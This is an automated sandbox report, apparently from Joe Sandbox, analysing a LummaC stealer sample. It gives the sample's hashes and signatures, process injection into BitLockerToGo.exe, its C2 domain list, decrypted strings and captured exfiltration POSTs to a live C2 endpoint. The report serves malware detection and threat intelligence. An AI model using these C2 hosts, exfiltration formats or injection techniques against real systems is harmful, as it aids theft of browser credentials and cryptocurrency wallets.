Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1435867
MD5:	7498af5d4fe090e8e2b4d13d867ab5e0
SHA1:	d3e086f49ef2db4a75ff1f6dc93b0045bba07866
SHA256:	725c4af20cd8140f12cb87e2b0e3c8a5654257cbccc70f378c765b1fa3322dc6
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6288 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7498AF5D4FE090E8E2B4D13D867AB5E0)

BitLockerToGo.exe (PID: 6644 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "acceptabledcooeprs.shop"], "Build id": "xpsGVF--NEW1"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
Process Memory Space: BitLockerToGo.exe PID: 6644	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 6644	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.file.exe.c000420000.5.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "acceptabledcooeprs.shop"], "Build id": "xpsGVF--NEW1"}

Multi AV Scanner detection for domain / URL

Source: https://acceptabledcooeprs.shop/api

Virustotal: Detection: 9%

Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 31%
Source: file.exe	Virustotal: Detection: 29%			Perma Link

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: boredimperissvieos.shop
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: holicisticscrarws.shop
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweetsquarediaslw.shop
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: plaintediousidowsko.shop
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: miniaturefinerninewjs.shop
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: zippyfinickysofwps.shop
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: obsceneclassyjuwks.shop
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: acceptabledcooeprs.shop
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: acceptabledcooeprs.shop
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1809619206.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String decryptor: xpsGVF--NEW1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_006550A2 CryptUnprotectData,

2_2_006550A2

Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.156:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000002.1809988585.000000C00046E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1798307073.000001B6DD4F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1798340507.000001B6DD4B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000002.1809988585.000000C00046E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1798307073.000001B6DD4F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1798340507.000001B6DD4B0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	2_2_006741A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 5C3924FCh	2_2_006741A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 15BD542Ch	2_2_0067C210
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [esi], ax	2_2_0065F41E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebx+ecx], 0000h	2_2_0065B580
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0065B580
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+70h]	2_2_006557D3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 18DC7455h	2_2_00665858
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	2_2_0064C800
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000084h]	2_2_00656890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	2_2_00677A71
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+000000D0h]	2_2_00660AA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esi+0Ch]	2_2_00678C73
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 5C3924FCh	2_2_00678C73
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	2_2_0065FD60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 37E2BDC6h	2_2_0067AD10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 6A34D54Bh	2_2_0067AF00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+0000016Ch]	2_2_006650B7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_0066112F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	2_2_0065624A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+000000C8h]	2_2_00651231
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000090h]	2_2_006542D1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edx], cl	2_2_00649380
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp cl, 0000002Eh	2_2_006604E2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, eax	2_2_0064F66E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [eax+esi+01h], 00000000h	2_2_0064F66E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebp, edx	2_2_0067A7BF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0064C790
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add ecx, 02h	2_2_00659840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [edx], 00000000h	2_2_00650834
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	2_2_0064F9A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00671B40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_0065BB5E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_00679B59
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], B1CF12BAh	2_2_0067AB30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], DFE873FBh	2_2_0067BB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esi+04h]	2_2_00679BB3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then inc ebx	2_2_00653B90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_00654CA6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp+ebp*4+00000D30h], edx	2_2_00647CB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ecx	2_2_00642C90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_0064ED28
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00663D30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_0064FD12
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000001E0h]	2_2_00650DD9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 542C2D52h	2_2_0067BE60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ebx], ax	2_2_00653F60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp esi	2_2_00679F2C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp esi	2_2_00679F2A

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: boredimperissvieos.shop
Source: Malware configuration extractor	URLs: holicisticscrarws.shop
Source: Malware configuration extractor	URLs: sweetsquarediaslw.shop
Source: Malware configuration extractor	URLs: plaintediousidowsko.shop
Source: Malware configuration extractor	URLs: miniaturefinerninewjs.shop
Source: Malware configuration extractor	URLs: zippyfinickysofwps.shop
Source: Malware configuration extractor	URLs: obsceneclassyjuwks.shop
Source: Malware configuration extractor	URLs: acceptabledcooeprs.shop
Source: Malware configuration extractor	URLs: acceptabledcooeprs.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: acceptabledcooeprs.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: acceptabledcooeprs.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18162Host: acceptabledcooeprs.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8783Host: acceptabledcooeprs.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20436Host: acceptabledcooeprs.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3797Host: acceptabledcooeprs.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1392Host: acceptabledcooeprs.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551489Host: acceptabledcooeprs.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: acceptabledcooeprs.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: acceptabledcooeprs.shop

Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1850945687.0000000004C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000002.00000003.1850796166.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909740346.0000000000896000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910171260.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1850583241.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910114828.0000000000896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acceptabledcooeprs.shop/
Source: BitLockerToGo.exe, 00000002.00000003.1859316482.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1878236584.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acceptabledcooeprs.shop/3
Source: BitLockerToGo.exe, 00000002.00000003.1816991006.0000000000888000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910114828.0000000000896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acceptabledcooeprs.shop/api
Source: BitLockerToGo.exe, 00000002.00000003.1909740346.0000000000896000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910114828.0000000000896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acceptabledcooeprs.shop/apiP
Source: BitLockerToGo.exe, 00000002.00000003.1909740346.0000000000896000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1910114828.0000000000896000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://acceptabledcooeprs.shop/apij
Source: BitLockerToGo.exe, 00000002.00000003.1859265178.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000002.00000003.1859265178.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: BitLockerToGo.exe, 00000002.00000003.1859265178.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000002.00000003.1859265178.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe	String found in binary or memory: https://protobuf.dev/reference/go/faq#namespace-conflictMpohxHrXTsWUtcYRySvTtdvgYoOzPaTLHQkyDGHWUOSc
Source: BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BitLockerToGo.exe, 00000002.00000003.1851695678.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000002.00000003.1851695678.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C3D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000002.00000003.1832730581.0000000004C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: BitLockerToGo.exe, 00000002.00000003.1859412114.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1859291653.00000000008C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000002.00000003.1859265178.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000002.00000003.1851695678.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000002.00000003.1851695678.0000000004D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
